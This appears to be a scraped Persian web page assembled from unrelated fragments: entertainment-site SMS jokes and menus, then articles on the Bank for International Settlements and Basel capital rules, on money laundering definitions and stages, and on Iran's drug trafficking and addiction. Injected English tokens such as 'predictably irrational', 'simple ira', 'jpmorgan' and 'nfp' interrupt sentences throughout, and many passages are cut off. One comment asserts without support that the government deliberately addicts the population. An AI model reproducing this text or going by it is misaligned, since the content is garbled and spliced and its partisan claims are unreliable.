نموده و شامل حمایت های قانونی از ناظران باشد. تمهیدات لازم برای تبادل اطلاعات بین ناظران و حفظ جنبه های محرمانه این گونه اطلاعات نیز به نوبه خود می بایست لحاظ گرد

پیامک های ارسالی اعضای سایت : "قسمت بود" که تا دل سپردم دیگر نباشی! این تنها حرفیست که نبودنت را تو

صفحه اصلي خدمات سيمافان قرآن آنلاين ياهو چکر ابزار اشتراک گذاري شکلک هاي زيبا مترجم آنلاين متن نقشه کامل ايران سرگرمي بازي آنلاين کليپ هاي خنده دار عضويت در گروه جامعه مجازي رسانه ها هنرمندان فروشگاه تعرفه تبليغات تماس با ما
پیامک های ارسالی اعضای سایت : "قسمت بود" که تا دل سپردم دیگر نباشی! این تنها حرفیست که نبودنت را توجیه میکند شایدهم مرا آرام ... . نگین سلاطی 0916---0373 دونه های برف فقط برای دیدن چشمات از آسمان پایین میان. اما پاشونو که به زمین میزارن فدای مهربونتی میشن... . Farima 0930---2757 دوستی حس لطیفی است ... نگهش خواهم داشت ... چه تو نزدیکم باشی و چه دور ... 0914---8565 امروز بعد از مدت ها دیدم گوشیم زنگ خورد پریدم که زود جواب بدم دیدم سر زنگ دوم خاموش شد! هر کاری میکنم روشن نمیشه فکر کنم از هیجان زیاد دچار حمله قلبی شده سکته کرده بیچاره ... از طرف farima 0930---2757 به استادم میگم استاد ما نسل سوخته ایم بخدا ... گفت نسل سوخته ماییم شما نسل پدر سوخته اید ... هیچی دیگه تا حالا اینقدر تو زندگیم قانع نشده بودم ! farima 0930---2757 داشتم هندونه میخوردم predictably irrational با قاشق مغزشو می تراشیدم بابام از اونور داد میزنه میگه : یه ذره هندونه بزار بمونه رو اون پوست تا رومون بشه بزاریمش دم در اینجوری مردم فک میکنن بز بستیم تو خونه . علی کازرون 0914---3812 بهترین جراح قلب امریکا میمیره براش تابوتی به شکل قلب درست میکنن یهو یه نفر وسط مراسم بلند میخنده ! میپرسن چی شده ... میگه من جراح زنانم داشتم تابوتمو تصور میکردم !!!!!!!!!!! - 0930---2757 ماشین لباسشویی خونمون خیلییییی پیشرفتست . کاری به این نداره چه رنگی بهش لباس تحویل میدی نگاه میکنه ببینه چه رنگی بهت میاد همون رنگو بهت تحویل میده ! farima 0930---2757
دسته ها آشپزی آموزش آموزش های وب وردپرس اجتماعی ازدواج و مسائل زناشویی predictably irrational اس ام اس و جک بازی آنلاین تست هوش و معما تکنولوژی حوادث خانه و خانواده خواص مواد غذایی داستان کوتاه دانلود کتاب الکترونیکی دست سازها دنیای اتومبیل دین و اندیشه predictably irrational اسلامی رایانه روانشناسي و تست شخصیت طنز علمی و دانستنی عکس متحرک فال و طالع بینی فرهنگ و هنر جملات قصار و آموزنده سینما و تلویزیون شعر ضرب المثل ها فقط برای عشق تصاویر predictably irrational رمانتیک و عاشقانه مجله خبری اخبار استخدامی اخبار سیاسی اخبار ورزشی مد و زیبایی مطالب جالب و خواندنی predictably irrational معرفی سایت موبایل آهنگ پیشواز ایرانسل آهنگ پیشواز همراه اول پزشکی و سلامت کاریکاتور predictably irrational و عکس خنده دار کلیپ ها گالری تصاویر هنرمندان گالری عکس روز گرافیک predictably irrational آموزش فتوشاپ
دريافت کد : <a title="سايت تفريحي سيمافان" predictably irrational href="http://www.simafun.com" ><img alt="سايت تفريحي سيمافان" title="سايت تفريحي سيمافان" src="http://up.simafun.com/simafun.png" predictably irrational width="80" height="80" /><br/>سايت تفريحي سيمافان</a>
فونیکه: داور آقای گلی لیگ را از من گرفت آنکه شنید آنکه نشنید! فواید باور نکردنی لیمو شخصیت شناسی با چند سوال کوتاه اس ام اس تبریک روز تولد سبزه سبز کنیم ورود خوانندگان لس آنجلسی به ایران ! عکس پسر مهران مدیری تجاوز وحشیانه دختر ساله به پسر ساله ! دلایل رابطه زنان متأهل با پسران عکس های بازیگران در اتاق گریم دانلود آخرین ورژن فلش پلیر مخصوص تمام مروگرها نامه پرسپولیس به سازمان لیگ درباره آرفی کلیپ شیطنت پیرزن در هنگام رانندگی راه های پیشگیری predictably irrational از بیماری های کلیه تفاوت مرز بین دو کشور ! این بیماری در صدر بیماریهای جنسی است
رضا صادقی زن ذلیل می شود !! + عکس لحظه برخورد یک قطره با حباب + عکس چرا مردم را جیگر فرض می کنید تست شخصیت پنهانی predictably irrational شما اس ام اس روزهای بارانی برای عاشقان سری جدید شعرهای عاشقانه تصاویر و شخصیت های بازی Tekken predictably irrational 5 نشستن روی مبل حرام اعلام شد ! علی دایی و همسرش در جشن شادی گالری تصاویر predictably irrational براد پیت سرعت عجیب و سرسام آور یک دونده (عکس متحرک) فیسبوک رفع فیلتر گردید !! فانتزیانه predictably irrational های جدید با افق های بیکاران گالری تصاویر پوریا پورسرخ ترک دائمی سیگار کاریکاتور فواید سیگار برای کبد و ریه + سال متن های جدید و اس ام اس های عاشقانه
عنوان پاسخ بازديد آخرين ارسال  گياهان predictably irrational حاوي آسپرين طبيعي 0 26 bahar  حكايت سه پله بالاتر 0 29 bahar  چند راه جلوگيري از واريس پا 0 25 bahar  پ ن پ جديد و خنده دار 0 47 bahar  اس ام اس فلسفي 0 22 bahar  چطور يك مرد ايراني را عاشق خودتان كنيد 0 95 roya  8 حقيقت جالب در مورد روز ولنتاين 0 44 roya  نكاتي در مورد شلغم 0 30 roya  حكايت فراست قاضي 0 27 roya  5 رفتار اشتباه زن و شوهر ها بعد از دعوا 0 65 roya  چرا مردها زن ها را دوست دارند 0 145 bahare  استفاده از تلفن همراه مغز را فعال ميكند 0 42 bahare  5 معجزه سيب 0 57 bahare  لبنيات پر چرب نخوريد 0 31 bahare  جك هاي خنده دار 0 98 bahare  چرا باید صخره نوردی کنیم 0 182 adminsina  آشنایی با سیستم کنترل تردد: قسمت اول 0 139 adminsina  کارت خوان سخت افزاری با مزایای بسیار 0 4 silentboy  راهنمای خرید صندلی 0 10 arashk98  عکس های زیباترین آشپزخانه های دنیا !!!!!! 0 269 arashk98
هرچقدر برای حرفه ای شدن تلاش کرده اید فرق نمی کند شما مستعد خطا کردن هستید. این امر به خاطر انسان بودن و طبیعت انسانی ماست و این عوامل ما را به اشتباه می اندازند. همین موارد نیز برای طراحی گرافیک صادق است. اما ما نباید از اشتباهمان پشیمان باشیم. برعکس ما باید از اشتباهاتمان درس بگیریم. شعار شما در زندگی باید تلاش کردن تا رسیدن به موفقیت باشد.
تلاش کردن و شکست خوردن بهتر از تلاش نکردن است. به جای ترس و شکست طراحان گرافیک باید در آینده در مقابل اشتباهاتشان واکنش نشان دهند

این کمیته قدرت نظارتی فراملیتی ندارد و استنتاجات آن هرگز دارای قدرت قانونی نیست. ولی متخصصین آن استا

بانک simple ira تسویه بین المللی (BIS) قدیمی ترین مؤسسه مالی بین المللی است و تاکنون به عنوان مرکز اصلی برای همکاری بانکهای مرکزی دنیا باقی مانده است. (BIS) بر اساس طرح یانگ Young Plan (1930) که مربوط به بازپرداختهای خسارات جنگ توسط آلمان بر اساس قرارداد ورسای بود تأسیس شد. این بانک بایستی وظایفی را که قبلا توسط Agent General simple ira for Reparations in Berlin انجام می شد به عهده گیرد و به عنوان مؤسسه مورد اعتماد برای وامهای Dawes و Young عمل کند. وظیفه اصلی BIS همکاری بین بانکهای مرکزی است زیرا موضوع پرداختهای آلمان به زودی پایان گرفت و BIS فعالیتهای خود را کاملا بر همکاری simple ira بین بانکهای مرکزی و به نحو روزافزونی سایر مؤسسات مالی برای ترغیب ثبات مالی و پولی متمرکز کرد.
1ـ BIS مبنایی برای همکاری بانکهای مرکزی ارائه داده که از طریق ملاقاتهای منظم و گرد آوردن روسا و مقامات مسئول بانکهای مرکزی کشورهای عضو به عنوان مرجع اصلی اطلاعات و همکاری بین بانکهای مرکزی سراسر جهان عمل نموده است. در سالهای 1960 و ابتدای دهه 1970 همکاری بانکهای مرکزی در BIS هدفش حمایت از سیستم بر تن وودز و مدیریت جریان سرمایه ناشی ازدو بحران نفتی و بحران بدهیها در دهه 1980 بود. اخیرا BIS برای تأمین ثبات مالی پس از ادغام های بانکی و جهانی شدن اقتصاد کوشش خود را برای پیشبرد ثبات مالی متمرکز کرده است.
2ـ در چارچوب همکاریهای بین المللی simple ira BIS در تحقیقات simple ira مربوط به ثبات مالی و پولی کمک کرده به جمع آوری و انتشار آمار و مطالبی در مورد مسائل مالی بین المللی می پردازد و از طریق کمیته ها و متخصصین ملی توصیه هایی به بخش های مالی که هدفشان تقویت سیستم مالی بین المللی است می نماید. بنابراین مثلا کمیته بال در مورد نظارت بانکی توصیه هایی در مورد محاسبه نسبت کفایت سرمایه (1988 ـ رهنمود کفایت سرمایه کمیته بال که هم اکنون در حال تجدیدنظر است) نمود که تبدیل به یک استاندارد simple ira بین المللی شد.
BIS وظایف سنتی بانکی را برای بانکهای مرکزی و سازمانهای بین المللی مثل مدیریت ذخائر و معاملات طلا انجام می دهد. در 31 مارس سال 2000 پولی که نزد BIS به سپرده گذارده شده بود معادل EPU 128 میلیارد دلار بود که معادل 7% ذخائر (FX) خارجی جهان است. BIS نماینده simple ira (European Payment Union) بوده و به بازگشت قابلیت تبدیل ارزهای simple ira اروپایی پس از جنگ جهانی دوم کمک کرده است.
4ـ و بالاخره BIS تامین مالی فوری برای حمایت از سیستم مالی بین المللی را هنگامی که لازم بوده تنظیم کرده است. در سالهای بحران 33-1931 BIS تسهیلات حمایتی برای بانکهای مرکزی اتریش و آلمان ترتیب داد. در دهه 1960 BIS تسهیلات حمایتی خاصی برای لیر ایتالیا (1964) و فرانک فرانسه (1968) و دو ترتیب گروهی (1969 و 1968) برای حمایت لیره استرلینگ انجام داد. به علاوه BIS در چارچوب برنامه ثبات مالی IMF برنامه ثبات مالی برای مکزیک (1982) و برزیل (1998) ترتیب داده است.
اعضای کمیته از کشورهای simple ira بلژیک کانادا فرانسه آلمان ایتالیا simple ira ژاپن لوکزامبورگ هلند اسپانیا سوئد سوئیس بریتانیا و ایالات متحده تشکیل شده اند. نمایندگی کشورها را بانکهای مرکزی یا سازمانی که رسما نظارت احتیاطی بر سیستم بانکی را به عهده دارد انجام می دهند.
این کمیته قدرت نظارتی فراملیتی ندارد و استنتاجات آن هرگز دارای قدرت قانونی نیست. ولی متخصصین آن استانداردها رهنمودها و توصیه نامه های مفصل نظارتی تنظیم می نمایند تا مقامات نظارتی simple ira هر کشور ترتیبات مفصل نظارتی تنظیم می نمایند تا مقامات نظارتی هر کشور ترتیبات قانون و ... را برای اجرای جزئیات آنها به هر نحو که مناسب برای سیستم داخلی آنهاست تهیه کنند. به این طریق کمیته تغییری را به سوی برخورد مشترک و استانداردهای مشترک بین کشورها ترغیب می کند بدون اینکه چگونگی هماهنگی جزءبه جزء روشهای نظارتی simple ira را ابراز نماید.
کمیته بال ضمن گزارش به 10 کشور عضو خواهان تائید مسائل کلی تصمیم گیری شده می گردد به هر حال ازآنجا که در کمیته نمایندگی از سایر مؤسسات غیر از بانک مرکزی شرکت می نمایند تصمیمات اتخاذ شده آن تعهد قبول مسئولین خارج از بانک مرکزی را نیز دارد. تصمیمات کمیته شامل دسته وسیعی از مباحث مالی است.
یکی از اهداف مهم کار کمیته عبارت است از دو اصل مهم در بحث پوشش نظارتی بین المللی. اول اینکه هیچ مؤسسه بانکی خارجی نباید قادر به فرار از نظارت باشد و دیگر اینکه نظارت باید به نحو کافی اعمال شود. برای نیل به این هدف از سال 1975 کمیته تعدادی رهنمود منتشر کرده ست.
کمیته در سال 1988 تصمیم به معرفی سیستم اندازه گیری سرمایه نمود که عموما به عنوان The Baste Capital Accord خوانده می شود. این سیستم برای اعمال چارچوب اندازه گیری ریسک اعتباری با استاندارد حداقل سرمایه معا دل 8% تا قبل از پایان سال 1992 طراحی گردید. از سال 1988 این چارچوب نه فقط بین کشورها عضو بلکه نهایتا توسط همه کشورهای دیگری که سیستم بانکی بین المللی فعال دارند به طور روزافزونی مورد قبول قرار گرفت. کمیته در ژوئن 1999 پیشنهادی را برای چارچوب جدید کفایت سرمایه به منظور جایگزینی با بیانیه 1988 منتشر نمود. دراین سند جدید کفایت سرمایه سه قطب اساسی دارد حداقل سرمایه لازم برای بانکها که هدفش تجدیدنظر در ضوابطی است که در بیانیه 1988 آمده است تجدیدنظر simple ira نظارتی در پروسه ارزیابی داخلی مؤسسات و کفایت سرمایه و بالاخره استفاده مؤثر از شفافیت اطلاعات به منظور تقویت نظم بازار به عنوان تکمله ای بر کوششهای نظارتی. به دنبال تبادل نظر بیشتر با بانکها و گروههای صنعتی دومین سند مشورتی که نظرات آنها را دربرداشته باشد و نیز بررسی بیشتر توسط خود کمیته چارچوب جدید در سال 2004 منتشر شد.
کمیته طی سالهای اخیر با توان بیشتری به ارائه استانداردهای منطقی در سطح جهان پرداخته است. با همکاری نزدیک بسیاری از کشورهایی که عضو G-10 نبودند کمیته در سال 1997 سری مقرراتی را به

يكي ديگر از تعاريف موجود براي پولشويي عبارت است از تبديل يا انتقال سرمايه اي با علم به اينكه آن سرما

مواردی که در تعیین روابط کارگزاری با بانکهای خارجی باید مد نظر قرار گیرد
بانک سامان
وبلاگ انجمن اقتصاد
کارکنان بانک سپه
هدف از ارائه اين مقاله آشنايي مختصر با ادبیات و مقررات حاكم بر موازین مبارزه با پولشويي است. در خصوص مقوله پولشويي سخن بسيار گفته شده و هر روزه مباحث نويني كه مي تواند مورد توجه علاقمندان و پژوهشگران قرار گيرد معرفي مي شود. از جمله مي توان به شيوه هاي نوين پولشويي پولشويي و بانكداري الكترونيك بررسي قانون و مقررات ساير كشورها در اين زمينه و ... پرداخت. از آنجا كه بانكها يكي از اهداف پولشويان مي باشند به نظر مي رسد آشنايي با مفهوم پولشويي و گونه هاي آن بسيار ضروري باشد.
پولشویی به زبان ساده فرآیند پنهان و مخفی کردن ماهیت و منشاء غیر قانونی executor مال حاصل از ارتکاب جرم است به نحوی که ظاهر قانونی بخود بگیرد. پولشويي يا تطهير پول فعاليتي مجرمانه در مقياس بزرگ گروهي مستمر و درازمدت است كه مي تواند از محدوده سياسي يك كشور مفروض نيز فراتر رود.
اگر چه اندازه گیری این آثار منفی به آسانی میسر نیست اما شواهد موجود حکایت از این دارد که این قبیل فعالیت executor های مجرمانه نه تنها موجب استمرار فعالیت های مجرمانه دیگری می شود بلکه باعث تخریب بازار های مالی ورشکستگی بخش خصوصی قانون مدار کاهش بهره وری بخش اقتصاد افزایش ریسک خصوصی سازی تخریب بخش خارجی اقتصاد executor بی ثباتی در روند نرخ های ارز و بهره توزیع نابرابر درآمد و آثار منفی دیگری می شود که درمجموع و به عنوان برآیند کلی به نحوی رشد و توسعه اقتصادی را تحت تاثیر منفی قرار می دهد.
در یک تلاش جهانی برای اولین بار در کنوانسیون مبارزه علیه مواد مخدر در سال 1988 در وین پدیده پولشویی به عنوان یک جرم شناخته شد و در سال 1989 در کنفرانس سران هفت کشور صنعتی G7 ساختار خاصی با عنوان [1] FAFT تشکیل شد که حاصل تلاش اولیه این گروه تنظیم چهل توصیه برای محدود کردن و در صورت امکان محو این پدیده در سیستم های مالی کشور های عضو می باشد.
پولشويي طبق تعريف سازمان بين المللي پليس كيفري عبارت است از هر نوع عمل براي مخفي كردن يا تغيير دادن ظاهري هويت نامشروع درآمد حاصل از فعاليتهاي مجرمانه به گونه اي كه وانمود شود اين عوايد از منابع قانوني سرچشمه گرفته است.
يكي ديگر از تعاريف موجود براي پولشويي عبارت است از تبديل يا انتقال سرمايه اي با علم به اينكه آن سرمايه ناشي از ارتكاب يك جرم است به منظور مخفي نگه داشتن منشاء و ماهيت غير قانوني سرمايه مذكور و همچنين كمك به هر شخص يا سازمان در ارتكاب اينگونه جرایم يا كمك به محو اثرات قانوني جرم.
ب- تبديل مبادله يا انتقال عوايدي به منظور پنهان كردن منشاء غيرقانوني آن با علم به اينكه به طور مستقيم يا غير مستقيم ناشي از ارتكاب جرم بوده يا كمك به مرتكب به نحوي كه وي مشمول آثار و تبعات قانوني ارتكاب آن جرم نگردد.
مخفي كردن پول يا دارايي براي محفوظ نگه داشتن آن از مصادره دولت يا پرداخت executor خراج سابقه طولاني دارد. در ارتباط با اصطلاح پولشویی(Money Laundering) داستانهای مختلفی موجود است که شایع ترین آنها مربوط به "آل کاپون" گانگستر معروف آمریکایی ( اوایل دهه 1930 میلادی) executor می شود. وي پول حاصل از قاچاق مشروب را با استفاده از شست وشو خانه های (Laundry) متعددی که داشت قانونی جلوه می داد و مانع ردیابی آن از سوی پلیس و بازرسان خزانه داری آمریکا می شد.
3- پولهای executor کثیف معناي پول كثيف بر حسب حوزه قضايي مي تواند متفاوت باشد. برخي مصاديق پول كثيف عبارتند از:
در كميسيون بانكي [2] ICC در سپتامبر 2003 رقم مبلغ پول كثيف در گردش 8/1 تريليون دلار اعلام شد. در آن كميسيون همچنين executor اعلام شد 47% پول كثيف در آمريكا executor 30% در اروپا و بقيه در آسيا گردش دارد. در زير نموداري در خصوص حجم فعاليتهاي پولشويي رسم شده است:
پديده پولشويي executor لزوما به عوايد به دست آمده از فعاليتهاي بزهكارانه انجام گرفته شده در يك كشور محدود و منحصر نمي شود. در واقع ممكن است عوايد به دست آمده از فعاليتهاي مجرمانه انجام شده در كشورهاي ديگر نيز به كشور مفروض منتقل و در آنجا تطهير شود. بنابراين تعريف پولشويي بايد دربرگيرنده آن بخش از عوايد حاصل از جرائم رخ داده در يك كشور مفروض كه براي تطهير شدن در ديگر نقاط جهان از آن خارج مي شود نيز باشد. با اين رويكرد چهارگونۀ قابل شناسايي پولشويي را مي توان به شرح زير برشمرد:
پولشويي يك فرايند سه مرحله اي است كه مرحله اول مستلزم قطع هرگونه ارتباط مستقيم بين جرم و وجوه حاصل شده است مرحله دوم مخفي كردن ردپاي وجوه براي جلوگيري از تعقيب قانوني آن و مرحله سوم بازگرداندن وجوه به مجرم است به صورتي كه نحوه اكتساب و محل جغرافيايي آن قابل رديابي نباشد.
هدف از اين مرحله اين است كه پول نقد از محل بدست آمدن آن دور شود تا از پيگيري قانوني مصون بماند. جايگذاري به معناي تزريق عوايد ناشي از فعاليتهاي مجرمانه به شبكه مالي رسمي است با هدف تبديل عوايد نقدي به ابزارها و داراييهاي مالي كه يا براي سپرده گذاري در مؤسسات مالي خارجي به بيرون از مرزها انتقال داده مي شود يا براي خريد كالاهاي با ارزش مانند آثار هنري هواپيما فلزات و سنگهاي قيمتي به كار مي رود و يا در بانكهاي داخلي يا ديگر مؤسسات مالي رسمي و غيررسمي سپرده گذاري مي شود.
معمولا جايگذاري عوايد حاصل از جرم با تقسيم وجوه نقدي كلان به مبالغ كوچك صورت مي گيرد. اين شيوه به نحوي است كه وجوه سپرده گذاري شده در مبالغ كمتر از سقف معين پيش بيني شده براي گزارش متعاقبا به خارج انتقال مي يابند و به سرعت استرداد مي شوند.
اين مرحله كه در واقع جداسازي عوايد حاصل از فعاليتهاي مجرمانه از منشاء آن است از طريق ايجاد لايه هاي پيچيده اي از معاملات و انتقالات مالي چندگانه با هدف مبهم ساختن فرايند حسابرسي و مجهول گذاشتن هويت طرفهاي اصلي معامله و ناممكن كردن

بر اساس آمار داخلی مقدار مواد مخدر افیونی کشف و ضبط شده در ایران در بیشتر سال ها بیش از هر کشور د

ما همه می دانیم که این رژیم آخوندی در تلاش است تا همه ملت ایران با این همه فشار هایی که روی آنها قرار داده معتاد بشوند تا استعمار و رژیم آخوندی کشورمان را آسان تر غارت کنند.رژیم قیمت تریاک را در سالهای گذشته برده بالا و در مقابلش قیمت کرک و شیشه (که خطرناک تر از تریاک هستند) را برده پایین . % معتاد آنی که از شیشه استفاده jpmorgan می کنن در عرض سال می میرند.این رژیم کجا دارد با مواد مخدر مبارزه jpmorgan می کند اگر دارد مبارزه می کند پس چرا اعتیاد در ایران هر روز بیشتر قربانی می گیرد چرا آسیبهای اشتمایی و مشکلاد جامعه ایران را کمتر نمی کند تا مردم به طرف اعتیاد کشیده نشوند از آنجایی که این رژیم تنها هدفش نابودی ملت ایران و ایران هست نمی شود توقع دیگری داشت.آیا جامعه جهانی دچار توهم شده وقتی اعلام می کند رژیم ایران با مواد مخدر مبارزه می کند من فکر نمی کنم .جامعه جهانی به خوبی می داند که رژیم ایران دارد از هر طریقی تلاش می کند ملت ایران را از بین ببرد.از آنجایی که جامعه جهانی به دنبال منافع خود در ایران است و دنبال نابود کردن رژیم ایران نیست عجیب نیست که این همه از این رژیم جنایتکار حمایت می کنند
ایرنا: ‘حمید قدس’ رییس كمیته بین المللی نظارت بر مواد مخدر سازمان ملل با اشاره به نقش جدی و مهم جمهوری اسلامی ایران در مبارزه jpmorgan با مواد مخدر تاكید كرد: جمهوری اسلامی ایران پیشتاز مبارزه با مواد مخدر در جهان است.
‘مصطفی jpmorgan محمد نجار’ وزیر كشور و دبیركل ستاد مبارزه با مواد مخدر جمهوری اسلامی ایران به دعوت ‘یوری فدوتوف’ jpmorgan معاون دبیركل و مدیر اجرایی دفتر مقابله با مواد مخدر و جرم سازمان ملل در این اجلاس حضور یافته بود.
فدوتوف با اشاره به اینكه ایران خود را دریك جنگ علیه مواد مخدر می بیند گفت: بیش از هزار نفر از ماموران مرزی ایران در مبارزه با قاچاقچیان مواد مخدر كشته شده اند گزارش سالانه jpmorgan راهبرد کنترل بین المللی مواد مخدر – jpmorgan ایران -2012 13 مارس 2012
متن حاضر مقدمه گزارش راهبرد کنترل بین المللی مواد مخدر سال 2012 وزارت امور خارجه است که در 7 مارس 2012 به کنگره تقدیم شد. این متن حاوی شرح اقدامات کشورهای عمده در برخورد با کلیه جنبه های تجارت بین المللی مواد مخدر در سال 2011 است. متن کامل این گزارش در تارنمای وزارت امور خارجه موجود است. گزارشکشوری دربارۀ ایران آمده است
جمهوری اسلامی ایران از مسیرهای اصلی عبور مواد مخدر افیونی قاچاق از افغانستان و پاکستان به خلیج فارس ترکیه روسیه و اروپا است. بخش بزرگی از مواد مخدر افیونی خارج شده از افغانستان با عبور از ایران به دست مصرف کنندگان در آسیای مرکزی و اروپا می رسد. بخش به مراتب کوچک تری نیز به روسیه راه می یابد. ناظران آگاه معتقدند که دست کم 40 درصد از تریاک تولید شده افغانستان به ایران وارد می شود و بخش عمده این 40 درصد برای مصرف داخلی ایران در کشور باقی می ماند
بر اساس آمار داخلی مقدار مواد مخدر افیونی کشف و ضبط شده در ایران در بیشتر سال ها بیش از هر کشور دیگری در جهان است. تریاک کشف و ضبط شده در ایران (تریاک پرمصرف ترین ماده مخدر در ایران است) از لحاظ مقدار هشت برابر بیشتر از جمع مقادیر کشف و ضبط شده در همه کشورهای دیگر در سال 2010 بود. از سال 2007 به این سو نزدیک به یک سوم هروئین کشف و ضبط شده در جهان در خاک ایران کشف شده و در یکی دو سال اخیر هم این مقدار به یک دوم رسید. مقدار تریاک و مورفین jpmorgan کشف شده در ایران در هشت ماه نخست سال 2011 کاهش داشت و این در حالی است که مقدار هروئین کشف شده تقریبا به همان اندازه سال 2010 بود. مقادیر حشیش کشف شده در هشت ماه نخست سال 2011 در مقایسه با همان دوره سال قبل به میزان 26 درصد افت داشت.
قاچاقچیان ایران همچنان نقش عمده ای در قاچاق محرک های آمفتامینی jpmorgan به کشورهای آسیای جنوب شرقی داشتند. این آمفتامین ها به احتمال زیاد در ایران تولید می شود زیرا آزمایشگاه های متعدد و مقادیر متنابهی مواد آمفتامینی در خاک ایران کشف شده و مقادیر jpmorgan قابل توجهی از همین مواد نیز در ترکیه و دیگر کشورهای هم مرز با ایران کشف و ضبط شده است. آمار مصادرۀ آمفتامین ها در ایران از ظهور خطر جدیدی در حوزه مواد مخدر حکایت دارند. در سال 2011 میزان آمفتامین ضبط شده درایران در مقابسه با مقدار گزارش شده در سال 2008 ده برایر افزایش داشت. کارشناسان درمان اعتیاد در ایران نسبت به محدود بودن منابع موجود در مقایسه با گستردگی مصرف آمفتامین ابراز نگرانی می کنند.
ایران با یکی از جدی ترین مشکلات اعتیاد به مواد افیونی در جهان روبرو است. آخرین آمارهای موجود از مصرف مواد افیونی ایران را از لحاظ درصدی از جمعیت که مواد افیونی مصرف می کنند پس از افغانستان در ردیف دوم قرار می دهد. اما همه افرادی که در ایران مواد افیونی مصرف می کنند لزوما معتاد نیستند. بسیاری از مردم در ایران به صورت تفننی تریاک مصرف می کنند یا این ماده را در مقادیر اندک به عنوان دارو به کار می برند. با این همه هروئین فشرده که به شدت هم اعتیاد آور است به طور فزاینده ای به صورت تزریقی مصرف می شود و این به ویژه در بین جوانان شایع است. مقادیر هروئین فشرده ضبط شده در ایران رو بر افزایش است.
مصرف مواد مخدر به پخش ویروس اچ آی وی و بیماری ایدز در کشور منجر شده است. تا اواسط سال 2011 23125 بیمار شناخته شده مبتلا به ویروس اچ آی وی یا بیماری ایدز در این کشور وجود داشت. در نزدیک به 70 درصد این موارد تزریق مواد مخدر عامل ابتلا به این بیماری بوده است. به طور متوسط 14.3 درصد از معتادان تزریقی در ایران به ویروس اچ آی وی آلوده اند. تعداد کل افراد آلوده به این ویروس به گزارش وزارت بهداشت ایران ممکن است به 80 هزار تن برسد.
مسئولان مبارزه با مواد مخدر ایران اخیرا در سیاست های خود مبنی بر زندانی کردن معتادان تجدید نظر کردند. آنها اکنون مدعی اند که

در ادامه روند مبارزه با پولشوئی در سطح کشورهای جهان در سال 1991 اولین دستورالعمل اتحادیه اروپا در ز

پولشوئی روشی در معاملات مالی است که در آن ماهیت منبع و یا مقصد پول شفاف نبوده و پنهان میباشد درحقیقت یکی از مهترین nfp روشهای اقتصاد زیر زمینی بشمار می رود. در گذشته مفهوم پولشوئی صرفا در مورد آندسته از معاملات مالی اعمال می گردید که در ارتباط با جرائم سازمان یافته مانند قاچاق مواد مخدر و یا فعالیتهای مافیایی nfp بود. اما امروزه مفهوم پولشوئی کاربرد وسیعتری داشته و دربرگیرنده کلیه معاملات nfp مالی است که ارزش دارائیهای آن حاصل فعالیتهای غیر قانونی از جمله فرار از مالیات و یا حسابرسی نادرست می باشد. همزمان با پیچیدگی فزاینده جرائم مالی لزوم ارائه راهکارهای هوشمند در مقابله با جرائم مالی و تروریسم و تأثیر خروج سرمایه قانونی به دلیل افزایش nfp فعالیتهای پولشوئی در صحنه های مختلف سیاسی اقتصادی و حقوقی بیش از پیش احساس می شود. پس از ایجاد ( Creation ) و تثبیت ( Consolidation ) وجوه پولشوئی اغلب در سه مرحله ذیل انجام می پذیرد: nfp
الف) قراردادن ( Placement ) : این مرحله به عنوان نقطه شروع ورود وجوه ناشی از فعالیتهای مجرمانه به جریان عادی نقدینگی بشمار می رود. ب) لایه گذاری ( Layering ) : در این مرحله شبکه پیچیده ای از نقل و انتقالات شکل می گیرد تا رابطه بین مبدأ ورود وجه و مقصد نهایی در چرخه پولشوئی مخفی نگاه داشته شود. ج) تلفیق ( Integration ) : در این مرحله وجوه فوق جهت برداشتهای بعدی به چرخه قانونی اقتصادی وارد می شود.
بدیهی nfp است در صورت موفقیت nfp در مراحل فوق وجوه در طی یک فرآیند ( Realization ) وارد حسابهای مجاز بانکی خواهد شد. بیشترین ریسک بانکها در مراحل الف و ب بوده و بانکها می بایست دقت نظر کافی در این زمینه اعمال نمایند. در قوانین مربوط به پولشوئی به جای استفاده از اصطلاحات فوق از اصطلاحات ذیل برای بیان سه مرحله مذکور استفاده می شود:
الف) پنهان کردن ( Hide ) : در حقیقت این مرحله به عنوان مرحله معرفی آندسته از وجوه ناشی از فعالیتهای تجاری به چرخه اقتصادی است که دانسته یا ندانسته با برنامه های پولشوئی در ارتباط می باشد. به عبارت دیگر این مرحله نقطه تلاقی فعالیتهای مجرمانه با بخش مالی بشمار می رود. ب) جابجائی ( Move ) : این مرحله نمایانگر استفاده از روشهای مختلف از جمله خرید فروش و یا انتقال دارائیها و تغییر ماهیت و میزان وجوه توسط مجرمان می باشد تا بدین ترتیب منشأ پول و نوع جرم مشخص نگردد. ج) سرمایه گذاری ( Invest ) : در این مرحله فرد مجرم دارائیهای خود را سرمایه گذاری نموده و یا در زندگی روزمره خود مورد استفاده قرار می دهد.
پولشوئی پدیده جدیدی نبوده و قدمت آن به زمانی برمی گردد که انسانها برای اولین بار تلاش نمودند تا ثروت خود را از چشمان کنجکاو و دستهای حسود دور نگاه دارند. تقلب در مبلغ وامها اخاذی ارتشاء کارمندان دولتی زمینه را برای فعاليت پولشويان فراهم مي آورد. بدیهی است امروزه از روشهای پیچیده تری در زمینه پولشویی استفاده می شود اما شیوه عمل در پنهان نمودن ماهیت مبدأ و مقصد پول همانند گذشته می باشد. واژه پولشوئی nfp اولین بار در جریان رسوایی واترگیت (Watergate Scandal) ارائه گردید. در این جریان ستاد انتخاباتی ریاست جمهوری ریچارد نیکسون در ایالات متحده کلیه وجوه مربوط به کمکهای انتخاباتی غیر قانونی را ابتدا به مکزیک و سپس به شرکتی در میامی منتقل نمود. روزنامه گاردین انگلستان از این جریان به عنوان پولشوئی نام برد.
بر اساس قانون پاتریوت ایالات متحده که دربرگیرنده فعالیت کلیه بانکها مؤسسات nfp مالی کارگزاریها nfp و مؤسسات بیمه و شعب خارجی آنها می باشد کلیه بانکها و مؤسسات فوق ملزم به پیاده سازی برنامه ها و آموزشهاي لازم در زمینه پولشوئی بوده و برخورداری از شناخت کافی در مورد شهرت مالکیت سیاستهای پولشوئی و حتی مشتریان بانکهای خارجی ضروری است. همچنین شرکتهای مالی و بانکها میبایست nfp بررسی های دقیقی را در زمینه ریسک پولشوئی مؤسسات خارجی انجام داده و نسبت به بررسی درخواست افتتاح حساب و یا عدم پذیرش معاملات ارجاعی از طرف بانکها و مؤسسات خارجی اتخاذ تصمیم نمایند. در این بخش بر بررسی برنامه های ضد پولشوئی بانک خارجی شناسایی مالکیت بانکها اخذ نمونه امضاهای مجاز و نظارت بر فعالیت حسابهای کارگزاری بانکهای خارجی تأکید شده است. در مورد حسابهای بانکی اشخاص اعم از حقیقی و حقوقی در 